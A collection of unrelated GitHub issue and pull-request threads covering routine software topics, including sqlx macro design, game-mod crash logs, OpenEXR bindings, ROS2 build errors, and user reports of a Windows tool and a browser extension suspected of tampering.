For the most part, it works but it seems when I get it from jitpack.io, it may be an older version as I am unable to use some of the methods that should be available (e.g., me/playlists, which looks like a more recent commit).

Support for the /me Endpoint was added after the latest 0.2.0 release. (Commits since 0.2.0)
AFAIK you either have to wait for @kaaes to deploy a new release or use the SNAPSHOT-version. (Instead of the SNAPSHOT-version you can also specify the hash of the commit)

I believe the latest version is up on jitpack.io now


Additional Integrations

Hello!
Looking for additional analytics or product integrations?
Let us know, and we will work with you to get it added!

hi there, it would be nice to add Piwik (Matomo). Happy to contribute if ok

Hey
Would you accept a PR integrating AWS Cognito/Kinesis?

Definitely would accept any PRs for new integrations.


Extend type-ascription syntax for bind parameters to support wildcards

It's not very well documented but currently we support type-ascription syntax on the expressions that appear in bind parameters:
sqlx::query!("select * from values ( ($1, $2) )", foo: i32, bar: String)

Since type ascription syntax is unstable we strip it from the expression and treat it as an override for the inferred type of the binding. (Turns out we can't currently strip type-ascription syntax, see first comment.)
We can logically extend this to allow a wildcard which will disable compile-time type checking for that bind parameter, as if it was passed to query_unchecked!():
sqlx::query!("select * from users where id = $1", user_id: _)

This will help in cases where we currently recommend query_unchecked!() because the generated typechecking code is quite rough around the edges, without requiring the user to opt-out of typechecking entirely for a given query.

@mehcode so it turns out getting this working is a bit more complicated than expected. The problem is that we can't actually strip the type ascription syntax from the expressions due to our hack around expression proc macros being unstable.
Currently, for an input like this:
sqlx::query!("select * from users where id = $1", user_id)

We emit something like this:
#[macro_use]
mod _macro_result {
    macro_rules! macro_result {
        ($arg1: expr) => {
            /*
                typechecking of `$arg1` here
            */

             let mut args = PgArguments::default();
             args.add($arg1);

             sqlx::query_with("select * from users where id = $1", args).map(...)
        }
    }
}

// this part is emitted by the facade, the proc macro has no control over it
macro_result!(user_id)

Thus we can't actually strip the type ascription syntax inside the proc-macro because that means emitting an expression inside the submodule that tries to reference user_id which is forbidden due to hygiene. So if someone actually tried to use the type-ascription override right now on stable they'd get an unstable feature error because we emitted it verbatim.
I forgot we also currently support casts in parameter position which behave the same way:
sqlx::query!("select * from users where id = $1", user_id as MyUserIdType)

The advantage here is that we don't actually have to strip the cast since it's stable. We just need to extend it to treating wildcards specially.

If we can figure out a macro_rules! based way to strip the type ascription syntax I'm all for it, but I don't see how. We can't parse macro input like ($expr:expr :  $ty:ty) because the parser forbids : from following an expr fragment (specifically because of type ascription): https://play.rust-lang.org/?version=stable&mode=debug&edition=2018&gist=e8cba27af317a70550c3cafd24f6dd36

This is also only a temporary problem as when 1.45 comes out we won't need this hack and so we can emit the stripped expressions just fine.

So after discussing on Discord I think we arrived at the following:

Emit casts verbatim but also take them as an override
For now also emit type ascriptions verbatim while taking them as an override
When 1.45 drops, add stripping of type ascriptions

Weird things happen with casts to wildcards in our current codegen scheme. It's not even the bind parameter typechecking either as we omit that for arguments that use the wildcard.
It's choking on a completely unrelated type error:
error[E0275]: overflow evaluating the requirement `[(_, _, _, _, _, _, _)]: sqlx_core::types::Type<sqlx_core::postgres::database::Postgres>`
   --> tests/postgres/macros.rs:338:18
    |
338 |       let record = sqlx::query!(
    |  __________________^
339 | |         "select * from (select 1::int4) records(id) where id = $1",
340 | |         my_int as _
341 | |     )
    | |_____^
    |
    = help: consider adding a `#![recursion_limit="256"]` attribute to your crate (`postgres_macros`)
    = note: required because of the requirements on the impl of `sqlx_core::types::Type<sqlx_core::postgres::database::Postgres>` for `[std::option::Option<(_, _, _, _, _, _, _)>]`
    = note: required because of the requirements on the impl of `sqlx_core::types::Type<sqlx_core::postgres::database::Postgres>` for `[std::option::Option<std::option::Option<(_, _, _, _, _, _, _)>>]`
    = note: required because of the requirements on the impl of `sqlx_core::types::Type<sqlx_core::postgres::database::Postgres>` for `[std::option::Option<std::option::Option<std::option::Option<(_, _, _, _, _, _, _)>>>]`

It looks to be trying to evaluate an unsized slice of an Option of a 7-tuple which ends up being recursive?
Whereas this is the emitted code which you can see has zero tuples or slices:
{
    #[macro_use]
    mod _macro_result {}
    {
        use sqlx::Arguments as _;
        let arg0 = &(my_int as _);
        let mut query_args =
            <sqlx::postgres::Postgres as sqlx::database::HasArguments>::default();
        query_args.reserve(
            1usize,
            0 + sqlx::encode::Encode::<sqlx::postgres::Postgres>::size_hint(arg0),
        );
        query_args.add(arg0);
        struct Record {
            id: Option<i32>,
        }
        #[automatically_derived]
        #[allow(unused_qualifications)]
        impl ::core::fmt::Debug for Record {
            fn fmt(&self, f: &mut ::core::fmt::Formatter) -> ::core::fmt::Result {
                match *self {
                    Record { id: ref __self_0_0 } => {
                        let mut debug_trait_builder = f.debug_struct("Record");
                        let _ = debug_trait_builder.field("id", &&(*__self_0_0));
                        debug_trait_builder.finish()
                    }
                }
            }
        }
        sqlx::query_with::<sqlx::postgres::Postgres, _>(
            "select * from (select 1::int4) records(id) where id = $1",
            query_args,
        )
        .try_map(|row: sqlx::postgres::PgRow| {
            use sqlx::Row as _;
            use sqlx::result_ext::ResultExt as _;
            Ok(Record {
                id: row
                    .try_get_unchecked::<Option<i32>, _>(0usize)
                    .try_unwrap_optional()?,
            })
        })
    }
}

It just doesn't know what the expected result type of the cast is so it seems to be grasping at straws.
Casts to specific types still work fine so maybe we forbid casting to _ and say "you'll just have to wait until 1.45 and we can modify the expression in-situ", at which point we could strip the cast to _ as well as type-ascription syntax in general.

This has been covered since 0.4.0-alpha.1


Enable toggle traces.

I made this change to follow the instructions.

3 .  The application should start printing the toggle's value to the terminal.

@LiyouZhou  could you kindly review this change ?

LGTM


Formally define requirements

@rhefner1 @ceelias Please double check the requirements I've created so far!

+1 from me

Everything except for constraints is complete


[Bug]: House Party crashes at main menu, DLL initialization routine failed

All of the following criteria must be met

[X] All Requirements must be installed.
[X] Full Latest.log file included. If no file exists then leave this unchecked and state so.

All of the following are optional to answer

[X] Tried reinstalling the Game.
[X] Tried reinstalling MelonLoader.
[X] Tried restarting PC.
[X] Was able to see the Start Screen.

Describe the issue.
When using House Pary 1.0.6 with Melonloader > 0.5.3, so for example the latest 0.5.7, it starts, loading screen shows, and after you click in the disclaimer it crashes going to the main menu.
Unity crash log shows
`========== OUTPUTTING STACK TRACE ==================
0x00007FFD22BFFBB8 (GameAssembly) DllGetActivationFactory
ERROR: SymGetSymFromAddr64, GetLastError: 'The specified module could not be found.' (Address: 00000289F1FBED98)
ERROR: SymGetModuleInfo64, GetLastError: 'A dynamic link library (DLL) initialization routine failed.' (Address: 00000289F1FBED98)
0x00000289F1FBED98 (()) (function-name not available)
ERROR: SymGetSymFromAddr64, GetLastError: 'The specified module could not be found.' (Address: 0000028A9B2D0CF5)
ERROR: SymGetModuleInfo64, GetLastError: 'A dynamic link library (DLL) initialization routine failed.' (Address: 0000028A9B2D0CF5)
0x0000028A9B2D0CF5 (()) (function-name not available)
ERROR: SymGetSymFromAddr64, GetLastError: 'The specified module could not be found.' (Address: 00000289F1FBEB23)
ERROR: SymGetModuleInfo64, GetLastError: 'A dynamic link library (DLL) initialization routine failed.' (Address: 00000289F1FBEB23)
0x00000289F1FBEB23 (()) (function-name not available)
0x00007FFD22BCC179 (GameAssembly) UnityPalGetTimeZoneDataForID
0x00007FFD23EAC0BE (GameAssembly) WriteZStream
[...]`
as the stack trace. same stack trace also happens with Bepinex, so it is probably an underlying component.
Same thing happens regardless, whether mods are present or not
Latest.log
Player.log
Did you attach your log file?

[X] Yes, I attached my log file to the text box above.
[ ] No, I could not find a log file at {Game_Directory}\MelonLoader\Latest.log

Duplicate of #322 and fixed in nightly

house party 💀


Bump: 0.20.0 -> 0.20.0-next

Proposed changes
This PR is a preparation for the next release.
Types of changes
What types of changes does your code introduce to the project: Put an x in the boxes that apply

[ ] Bugfix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] Update docker image version of FIWARE GE.
[ ] Update only documentation, not any source code.

Checklist
Put an x in the boxes that apply. You can also fill these out after creating the PR. If you're unsure about any of
them, don't hesitate to ask. We're here to help! This is simply a reminder of what we are going to look for before
merging your code.

[X] I have read the CONTRIBUTING doc
[ ] I have signed the CLA
[X] I have updated the change log (CHANGELOG.md)
[X] I send this pull request to the v0.20.0-next branch.
[ ] I have added tests that prove my fix is effective or that my feature works
[ ] I have added necessary documentation (if appropriate)
[ ] Any dependent changes have been merged and published in downstream modules

Further comments
N/A

Codecov Report
Base: 100.00% // Head: 100.00% // No change to project coverage :thumbsup:

Coverage data is based on head (4e6cd8f) compared to base (1609b4b).
Patch coverage: 100.00% of modified lines in pull request are covered.

Additional details and impacted files
@@              Coverage Diff               @@
##           v0.20.0-next      #226   +/-   ##
==============================================
  Coverage        100.00%   100.00%
==============================================
  Files                 2         2
  Lines              1745      1745
==============================================
  Hits               1745      1745

Impacted Files
Coverage Δ

config.sh
100.00% <100.00%> (ø)

lets-fiware.sh
100.00% <100.00%> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


worldToCamera / m44f is None via python bindings

Description
Trying to extract worldToCamera from EXR via Python. Is empty / None.
Replication
...
    exr = OpenEXR.InputFile("Scene.ViewLayer.0001.exr")
    header = exr.header()
...
    print(header['worldToCamera'])
...
None

Regression / testing
❯ exrinfo --verbose Scene.ViewLayer.0001.exr | grep worldToCamera
  worldToCamera: m44f [ [0.866906 0.160843 0.471808 0] [-0.498471 0.279727 0.820536 0] [3.66805e-08 0.946511 -0.322673 0] [-0.187342 -0.00632298 13.006 1] ]
❯ oiiotool --info -v Scene.ViewLayer.0001.exr | grep worldToCamera
    worldToCamera: 0.866906, 0.160843, 0.471808, 0, -0.498471, 0.279727, 0.820536, 0, 3.66805e-08, 0.946511, -0.322673, 0, -0.187342, -0.00632298, 13.006, 1

Seems all `m44f` elements are `None` from python.

That's using the old, deprecated API object InputFile, which has limited feature support.  Try this, using File instead:
    exr = OpenEXR.File("Scene.ViewLayer.0001.exr")
    header = exr.header()
    print(header['worldToCamera'])

That's what I get for reusing few-years old code... old APIs.

@flipphillips That old python binding is not just years old, it was not developed as part of the OpenEXR project at all! After years of being a thorn in our side -- barely or un-maintained, hopelessly lagging the C++ API's evolution, and not coming from this team but everybody assuming that it was -- it was finally gifted to us a year or two ago. But it needed a full rewrite, so now there's a new one.

@lgritz Got it - makes sense... I'd love to know where I even scooped it up from, the comments in my code are, sadly, lacking :) Probably from some 'internal' friends somewhere.
In summary - it is pilot error and doing it 'the right way' works, of course. Sorry for the false alarm.


Add cookie banner

If necessary. Probably because we're using Google Analytics

@michaltrzesimiech From a legal/privacy perspective, do we need a cookie banner?

Yep, we need a cookie banner for GDPR reasons!

The cookie banner is just for Google Analytics, right? It doesn't need to be connected to anything else? I don't usually see sites displaying a cookie banner in order for users to log in.

There are 3 different options for banners: info, opt-in, and opt-out. Went for info as it should be sufficient: "We cannot guarantee an informational approach will be sufficient for your website, but unless you have special cause to believe otherwise, it is extremely likely. If in doubt, seek legal advice from a professional."
https://cookieconsent.insites.com/documentation/compliance/


Docs: Custom Prisma Attributes

(docs): A work-in-progress draft of the Prisma Custom Attributes page that describes how it works with Amplication along with describing the Custom Attributes feature itself.

Hi @yuval-hazaz, thank you for the feedback on this page. I've implemented all of them with a few more changes.

Hi @mulygottlieb @GreenMachine01 @yuval-hazaz @overbit can we go ahead and merge this PR into main? It's important for the latest Default Value on Entity Fields PR. There are a few other entity-focused pages can use some updates after this one is published too.

Hi @mulygottlieb @GreenMachine01 @yuval-hazaz @overbit can we go ahead and merge this PR into main? It's important for the latest Default Value on Entity Fields PR. There are a few other entity-focused pages can use some updates after this one is published too.

@dericksozo I don't see you addressed Yuval's comments so those need to be addressed before we can approve and merge


Fix CLI waiting for files involving symlinks

Summary
When a file had a symlink in it's path, the path returned from resolvePath didn't match the path returned from the observer. This change introduces a common method for canonicalizing file paths in
both places.
Fixes https://github.com/xi-editor/xi-editor/issues/1143
Questions
This is the first time I've done any Mac/Swift/Xi development. As such, I'm not sure my approach is ideal and I have the following questions about my changes:

I have simplified the resolving code. I think this still handles the existing cases correctly but am I missing something?
I wasn't sure whether to limit my changes to the observer code. Canonicalising both the input and observer paths seems fine to me, but perhaps doing this on the inputs could cause issues elsewhere?

Review Checklist

[ ] I have responded to reviews and made changes where appropriate.
[x] I have tested the code
[ ] I have updated comments / documentation related to the changes I made.
[x] I have rebased my PR branch onto xi-mac/master.

LGTM! 👍


Fancy zones not enumerating all monitors

Environment
Windows build number: 10.0.19041.264
PowerToys version: 0.18.1
PowerToy module for which you are reporting the bug (if applicable): Fancy Zones

Steps to reproduce
Run fancy zones editor; drag to any of my three monitors.
My three monitors are all 1920x1200 and are in portrait, landscape, portrait from left to right like:
| - |
Expected behavior
Fancy zones should recognize all three monitors.
Actual behavior
Attempting to edit a custom zone always puts the new movable zone window in the middle monitor and I cannot drag it to any other monitor.
Screenshots
My zones-settings.json shows only a single device which may be the issue.  I am running the three monitors from my relatively old AMD Radeon HD 6950 card.  Windows has no issues with displaying extended desktops on all.
{
    "app-zone-history": [
        {
            "app-path": "C:\\Program Files (x86)\\Mozilla Thunderbird\\thunderbird.exe",
            "zone-index": 0,
            "device-id": "DELA07B#5&30a25f98&0&UID257_1920_1200_{C27846B1-914F-4F9E-AA7E-B24BD7CA6A57}",
            "zoneset-uuid": "{FF720D4A-A259-4F7C-B88B-A525B354F2D7}"
        }
    ],
    "devices": [
        {
            "device-id": "DELA07B#5&30a25f98&0&UID257_1920_1200_{C27846B1-914F-4F9E-AA7E-B24BD7CA6A57}",
            "active-zoneset": {
                "uuid": "{D0C876E0-7FE8-497B-A973-CBDC02A92705}",
                "type": "custom"
            },
            "editor-show-spacing": true,
            "editor-spacing": 16,
            "editor-zone-count": 1
        }
    ],
    "custom-zone-sets": [
        {
            "uuid": "{FF720D4A-A259-4F7C-B88B-A525B354F2D7}",
            "name": "test",
            "type": "canvas",
            "info": {
                "ref-width": 1920,
                "ref-height": 1160,
                "zones": [
                    {
                        "X": 0,
                        "Y": 0,
                        "width": 1920,
                        "height": 1160
                    }
                ]
            }
        }
    ]
}

Hi @Andypro1
you may be affected by this bug https://github.com/microsoft/PowerToys/issues/611
Just to make sure, when you try to assign a layout to a monitor you open the FZ editor on that monitor?

Thanks enricogior -
After reading issue #611, it looks like I just didn't know how to initialize Fancy Zones on the other monitors by moving the mouse to them before opening it.  Looks like it's working now.  Will close this as a non-issue.


i got "this.$resetValidation is not a function" in brower

i use vue-validator in brower like this:
<script src="//cdn.bootcss.com/vue/1.0.17/vue.js"></script>
<script src="//cdn.bootcss.com/vue-validator/2.0.0-alpha.22/vue-validator.js"></script>

but when i want to reset the validator in my vue component's method , i got this error:
Uncaught TypeError: this.$resetValidation is not a function

and, the same problem when i use $activateValidator(), can somebody help me?

i think the reason is that i ues the wrong version. download the latest version, everything go well


Bad rendering with Grid Layout datatype

I defined a Archetype datatype to edit a Grid-Layout datatype.
I can write fine inside the Grid-Layout. But when I return to the content node, then open the item in Archetype property, the grid-layout is bad rendered: it is very very height, and paragraphs seems like does not exists anymore.
Archetype Datatype definition:
{"showAdvancedOptions":true,"startWithAddButton":true,"hideFieldsetToolbar":false,"enableMultipleFieldsets":true,"hideFieldsetControls":false,"hidePropertyLabel":false,"maxFieldsets":null,"enableCollapsing":true,"enableCloning":false,"enableDisabling":true,"enableDeepDatatypeRequests":false,"fieldsets":[{"alias":"grid","remove":false,"collapse":true,"labelTemplate":"{{etichetta}}","icon":"icon-newspaper-alt","label":"Testo","properties":[{"alias":"etichetta","remove":false,"collapse":true,"label":"Etichetta","helpText":"","dataTypeGuid":"0cc0eba1-9960-42c9-bf9b-60e150b429ae","value":"","aliasIsDirty":true,"required":true},{"alias":"testo","remove":false,"collapse":true,"label":"Testo","helpText":"","dataTypeGuid":"66fde29f-3214-4dde-b259-21db2c75dbfa","value":"","aliasIsDirty":true,"required":true}],"aliasIsDirty":true,"$$hashKey":"15O"},{"alias":"datasheet","remove":false,"collapse":true,"labelTemplate":"{{etichetta}}","icon":"icon-grid","label":"Scheda","properties":[{"alias":"etichetta","remove":false,"collapse":true,"label":"Etichetta","helpText":"","dataTypeGuid":"0cc0eba1-9960-42c9-bf9b-60e150b429ae","value":"","aliasIsDirty":true,"required":true},{"alias":"tabella","remove":false,"collapse":true,"label":"Tabella","helpText":"","dataTypeGuid":"ad38dd9a-efc1-4a40-95bd-be31076f9574","value":"","aliasIsDirty":true,"required":false},{"alias":"aggiungiTag","remove":false,"collapse":true,"label":"Aggiungi tag","helpText":"aggiungi righe per i Tag principali","dataTypeGuid":"92897bc6-a5f3-4ffe-ae27-f2e7e33dda49","value":"","aliasIsDirty":true}],"aliasIsDirty":true,"$$hashKey":"15P"}]}

I am using:

browser: Google Chrome 45.0.2454.93 m
Umbraco: 7.2.8
Archetype: 1.1.0

Whoa. Grid within Archetype... I'm pretty sure that's never been tried before :anguished:
Usually Archetype is used instead of Grid. We've never made any effort to support Grid within Archetype, so it would be blind luck if it did work. To be honest I doubt we'll make much of an effort to support it, as it will most likely be pretty error prone.
Maybe you could achieve somewhat the same by using another Archetype within your Archetype?

Closing due to inactivity and the fact that we don't support crossing the streams between Grid and Archetype.


Update Environment-Notes.md

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 100.00%. Comparing base (a99ebd3) to head (03046bc).

Additional details and impacted files
@@            Coverage Diff            @@
##              main       #22   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files           11        11
  Lines          149       149
=========================================
  Hits           149       149

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Document tests/ directory structure

The directory hierarchy for tests/ and the purpose of each directory may not be self-explanatory, especially for new contributors.
The NodeJS core repository has a really nice README that describes what each directory is used for, as well as giving contributors an idea of where new test files should go based on related functionality.

Im going to look into this,


Update README documentation for ActiveRecord with Truncation.

The case I ran into:
2 Postgres schemas: tenant1 and tenant2
Set ActiveRecord::Base.connection.schema_search_path = "tenant1"
Run DatabaseCleaner.clean with truncation strategy
Result: tenant1 schema tables are cleaned (as expected!)
Set ActiveRecord::Base.connection.schema_search_path = "tenant2"
Run DatabaseCleaner.clean with truncation strategy
Result: tenant1 schema tables are cleaned (unexepected result, as records are still left in tenant2 schema tables!)
The already available cache_tables: false option is also useful in the case of switching schemas, not just for adding and dropping tables in your tests. I added documentation for that.
Thanks for managing this excellent project.

@aguynamedben Thank you! :smile:

:+1:


Clean up about page and fix links to old repo

Just realised that the designer still has links to the old repository embedded within it. This PR fixes those issues, and also cleans up the About page a little bit, such as removing the "Modified" string from the page.
Redoing PR #172.

I think the links for the badges inside the ReadMe should be changed also.


coclon build make errors with protobuf?

I;m facing these errors when building with in ROS2 humble environment. Anyone know how to solve this problem or knowing that version of protobuf is using?
  143 |   ::google::protobuf::uint8* InternalSerializeWithCachedSizesToArray(
      |                              ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
In file included from /usr/include/gazebo-11/gazebo/msgs/MessageTypes.hh:136,
                 from /usr/include/gazebo-11/gazebo/msgs/msgs.hh:35,
                 from /usr/include/gazebo-11/gazebo/physics/Entity.hh:28,
                 from /usr/include/gazebo-11/gazebo/physics/Model.hh:30,
                 from /workspaces/isaac_ros-dev/src/gazebo_ros2_control/gazebo_ros2_control/include/gazebo_ros2_control/gazebo_ros2_control_plugin.hpp:45,
                 from /workspaces/isaac_ros-dev/src/gazebo_ros2_control/gazebo_ros2_control/src/gazebo_ros2_control_plugin.cpp:42:
/usr/include/gazebo-11/gazebo/msgs/wrench_stamped.pb.h:145:30: error: ‘google::protobuf::uint8* gazebo::msgs::WrenchStamped::InternalSerializeWithCachedSizesToArray(bool, google::protobuf::uint8*) const’ marked ‘final’, but is not virtual
  145 |   ::google::protobuf::uint8* InternalSerializeWithCachedSizesToArray(
      |                              ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
/workspaces/isaac_ros-dev/src/gazebo_ros2_control/gazebo_ros2_control/src/gazebo_ros2_control_plugin.cpp: In member function ‘virtual void gazebo_ros2_control::GazeboRosControlPlugin::Load(gazebo::physics::ModelPtr, sdf::v9::ElementPtr)’:
/workspaces/isaac_ros-dev/src/gazebo_ros2_control/gazebo_ros2_control/src/gazebo_ros2_control_plugin.cpp:290:67: error: ‘__gnu_cxx::__alloc_traits<std::allocator<hardware_interface::HardwareInfo>, hardware_interface::HardwareInfo>::value_type’ {aka ‘struct hardware_interface::HardwareInfo’} has no member named ‘hardware_plugin_name’
  290 |     std::string robot_hw_sim_type_str_ = control_hardware_info[i].hardware_plugin_name;
      |                                                                   ^~~~~~~~~~~~~~~~~~~~
make[2]: *** [CMakeFiles/gazebo_hardware_plugins.dir/build.make:76: CMakeFiles/gazebo_hardware_plugins.dir/src/gazebo_system.cpp.o] Error 1
make[1]: *** [CMakeFiles/Makefile2:165: CMakeFiles/gazebo_hardware_plugins.dir/all] Error 2
make[1]: *** Waiting for unfinished jobs....
make[2]: *** [CMakeFiles/gazebo_ros2_control.dir/build.make:76: CMakeFiles/gazebo_ros2_control.dir/src/gazebo_ros2_control_plugin.cpp.o] Error 1
make[1]: *** [CMakeFiles/Makefile2:139: CMakeFiles/gazebo_ros2_control.dir/all] Error 2
make: *** [Makefile:146: all] Error 2
---```

Concerning the second error, hardware_plugin_name was introduced in rolling .
Is it possible that you mixed up your ROS distros, or maybe try to compile gazebo_ros2_control from master branch within a humble environment?

Switching from master branch into humble branch fixed the above problem.

Hi, I got the second error (d::string robot_hw_sim_type_str_ = control_hardware_info[i].hardware_plugin_name;) even when I use the humble branch, please can you explain how to fix this

Hi, I got the second error (d::string robot_hw_sim_type_str_ = control_hardware_info[i].hardware_plugin_name;) even when I use the humble branch, please can you explain how to fix this

There is no variable called hardware_plugin_name used in humble. Are you sure that you have switched the branches successfully? Try a clean build (rm -rf build/gazebo_ros2_control)

Thanks for your quick reply, yes it is now working. Thanks


Tags HTML and CSS

Added html + css for tags

Had to space out the different elements to fill up the page.
Search bar expands on selection.


Does module in "accelerator" support Quantization Aware Training?

The toturial shows how to build an efficient network with modules provided by "pytorchvideo.layers.accelerator" and how to convert the network to quantized model. However, the example only illustrates how to do "post-training static quantization". Here is my question:

Does "accelerator" in pytorchvideo support Quantization aware training?
If the answer of Q1 if yes, is there a toturial on how to do qat training for higher accuracy?

Theoretically yes, after convert conv3d into conv2d, it would be possible to run QAT. We have a roadmap to explore this in the future and update here, and you are also welcome to discover it on your own and make PR.


RDP Wrapper and Windows system registry

I am not a user or fan of RDP Wrapper. I installed it bundled with some VPN, I think Proton VPN. After reviewing Proton VPN, I deleted it. I also removed RDP Wrapper.
A few days later I discovered some unpleasant surprises:

Windows Defender now has undeletable exceptions.
The "Settings" applet in the "Credentials" section freezes for several minutes when moving between subsections.
After several consultations, I fixed the first problem using the Windows Registry. But it was not possible to cope with the second problem. If anyone can tell me which branches and registry parameters I need to look at, I will be very grateful.

2. The "Settings" applet in the "Credentials" section freezes for several minutes when moving between subsections.
After several consultations, I fixed the first problem using the Windows Registry. But it was not possible to cope with the second problem.

Try sfc /scannow (More in Microsoft website: https://support.microsoft.com/en-us/windows/using-system-file-checker-in-windows-365e0031-36b1-6031-f804-8fd86e0ef4ca )

But it was not possible to cope with the second problem.

Reinstall Windows from original ISO...

Thanks. I have already visited the recommended site, used dism and sfc/scannow. This did not produce any results because no files were damaged, only some registry values were changed. Unfortunately, the uninstallation of the RDP-Wrapper was not organized correctly and did not provide for their return to their previous values. I didn’t think to save a restore point before my “experiments” or track the changes I made, I confess. When I realized that the problem was in the registry, I found the branch responsible for the Windows Defender policy and found exceptions there that I could not delete (they were restored after deletion). I fixed the registry and Windows Defender worked without any problems. I understand that the RDP-Wrapper has changed branches related to user policies (maybe to increase its rights or for some other purpose), but I do not have enough knowledge to determine which bushes would be worth comparing with similar ones in an initially correct machine . Since I have no chance of identifying this from open source code, I was hoping that people familiar with the RDP-Wrapper installation process could point me in the direction of my search. I was wrong, sorry.
I will not reinstall the system, because the inconvenience of freezing for 3-4 minutes when switching from the “Your data” option to any other is not too critical for me. Otherwise the system works flawlessly. Thank you!

only some registry values

RDP Wrapper only override the termsrv.dll library. Original (1.6.2) is not change other keys.
Defender exclusions path included to Auto update from Telegram (not included in original and mod).

Thank you. I realized that I was faced with a version of RDP-Wrapper modified for specific purposes, and it would not be possible to find the author for clarification. I devoted several hours to checking my operating system using Windows Defender, as well as several utilities, such as utilities from Kaspersky, DrWeb. The irony of fate: I was looking for a VPN just to bypass the blocks, because of which I had to contact malwarebytes.com through the Tor browser. In any case, no malicious, modified or suspicious files and processes were detected on my system. In the “Setting” applet, delays occur only in the “Accounts” item when accessing only two sub-items and amount to 3-4 minutes for the first access, and 0.5-2.0 minutes for all subsequent accesses. I haven't touched these settings in years, so I'll stop working on this problem after a few tests for additional vulnerabilities.
In this regard, I consider my question closed and apologize for the time I took up, and also thank Aleksandr Chivarzin for his comprehensive answer. Thank you!


Remove vue-awesomplete

not maintained for 2 years
not popular, 17 stars on Github

It is not my project, but I'm user of awesome-vue and I want to see on the list only projects that satisfy the conditions.
Contributing Guide contains clear statement: "The project is active and maintained."
Last commit 3 years ago is a sign to me, that project is not active.

Agreed


Installation hangs

Installation of homebase hangs at:
> node rebuild.js

Hmm, what OS and node versions are you using?

node v8.11.3
Ubuntu 17.10
Now it shows following error:

@amiyatulu try following this guide and installing without using sudo.

This will also work:
sudo npm install --unsafe-perm -g @beaker/homebase


Fix softnet parsing

Allow 9 or more columns from softnet, older kernels had fewer columns.
Fix for https://github.com/prometheus/node_exporter/issues/1625
Signed-off-by: Ben Kochie<EMAIL_ADDRESS>

I can add a variation to the fixture.

Updated with additional tests.

@mdlayher Any other comments?


Compilation errors with main branch

After the last merge, the main branch has problems in map_credentials and map_presentation code. The last change was updating base64 = "0.22.1".

see:

https://github.com/hyperledger/anoncreds-v2-rs/pull/24#issuecomment-2254996672
https://github.com/hyperledger/anoncreds-v2-rs/pull/24#issuecomment-2256871308

Hi @haroldcarr ,
Thanks for your response. I cloned the latest main branch which has "base64 = "0.22.1". This was the last merge. The code files map_credentials and map_presentation broke after this change. They work with 0.13.0. Did you try the latest code and if that work for you?

the main branch is broken

This is fixed now.


Update Set-CsMobilityPolicy.md

Updated parameter -VoiceSettings with available values and wrote a brief description.

:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

skype/skype-ps/skype/Set-CsMobilityPolicy.md
:white_check_mark:Succeeded
View (skype-ps)

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


additional trust bundle into vm

Signed-off-by: nadav dolin<EMAIL_ADDRESS>What this PR does / why we need it:
Fixes https://github.com/openshift/hypershift/issues/1615

/ok-to-test

/restart

/assign @nadavdolin

/retest-required

/lgtm
/approve
thx!


CoolBoard resets after every message and sends a complete config even when we change manually a actor

The Coolboard resets even when we change a single actor in manual mode. this leads to very long delay's until the command is executed since the board also sends all the config (since something has changed).
I am 100% sure that if I am a customer a delay of 1 minute will lead me to think there is a problem.
I think the solution is to no more reset the board if we change only one Actor or if we activate manual mode.

Yes i change that in my PR


Add LDAP Authentication Documentation

Addresses #65
This commit adds documentation for installing and configuring ldap
authentication for netbox.
It may be beneficial to add settings to the configuration.py instead of
editing settings.py if this is commonly used.

This is excellent. However, I'd like to port the LDAP configuration variables into configuration.example.py. It probably makes sense to go ahead and bake the dependencies into NetBox as well, but I'll defer to whatever consensus is reached in #65.

Sure, sounds good! I'll drop a commit on top later tonight with that change so that whatever choice is made is good to go.

@dinoocch I rewrote a good deal of your original draft to move the config out of settings.py. Please let me know what you think and/or submit a PR for any further changes: http://netbox.readthedocs.io/en/latest/installation/ldap/


examples: introduce quads example

This examples uses wlr_render_quad_with_matrix to render coloured
squares on the screen, and uses the rotation to make them spin on their
middle.
The code is copy pasted from examples/rotation, with the arguments removed and a new output_frame_notify so maintenance should not be too hard.
The idea behind this is to have an example that uses render_quad without having a tablet around.

https://github.com/swaywm/wlroots/pull/2860 should probably be applied to this as well.

I integrated the patch, thanks for the tip.


Plugin considered Malware by Edge

Seems like the plugin is tagged a malware. Could you look into it and fix it?

Snap, my copy of edge has just flagged it as malware too, blocked me from using it.

I second this, just got flagged by edge

It seems to be an accurate assessment as well given that when I try to remove the extension is automatically re-installs on launch. So far I have been unable to permanently remove it from my system and no AV or Malware tool I have tried so far picks it up.

@bcookew In my case, no I don't believe I have installed a knock off.  If I have, then it's been sat there on my PC running for years by now, I last installed this, easily over 4 years ago, when I last removed and did a clean re-install.
Up until yesterday (27th Aug 2023) this add-on has faithfully rendered JSON data in my browser, for at least this length of time, when I click on the "website link" it actually brings me to this website:

Given that I've never had cause to re-install it for years, not updated it for years, and not seen any untoward behaviour from it in that time, then for it to suddenly change and be flagged, in my mind, means someone has reported it to MS/Google as a bad extension and they've flagged it in the extension stores without bothering to investigate.
The ONLY thing different in my system between it not being flagged, and suddenly being flagged is that edge updated itself, so it now has round corners in the client area....

@shawty
Yeah fair, I had had it installed since 2021 with no issues and the same experience re the "Open Extension Website" link. The phantom reinstall has me concerned though. For Edge to flag it and for it to become suddenly unremovable at the same time would be a strange coincidence unless as you suspect it's a Microsoft introduced bug.

One thing that is interesting however.....
The last time @callumlocke boosted the version number on his plugin was back in December 2022

That made the product version 0.7.1
In my version and the other screen shot above, the version reads as version 1.0.0

So it's possible that perhaps the authors account has been breached somehow, maybe an infected NPM package or similar, and that the product in the extension store is poisoned in someway.

@bcookew I'm not giving any particular judgment just yet :-D   LOL, truth is, like anyone here I'm just a user taking a stab in the dark, I guess we'll just have to wait and see what happens.
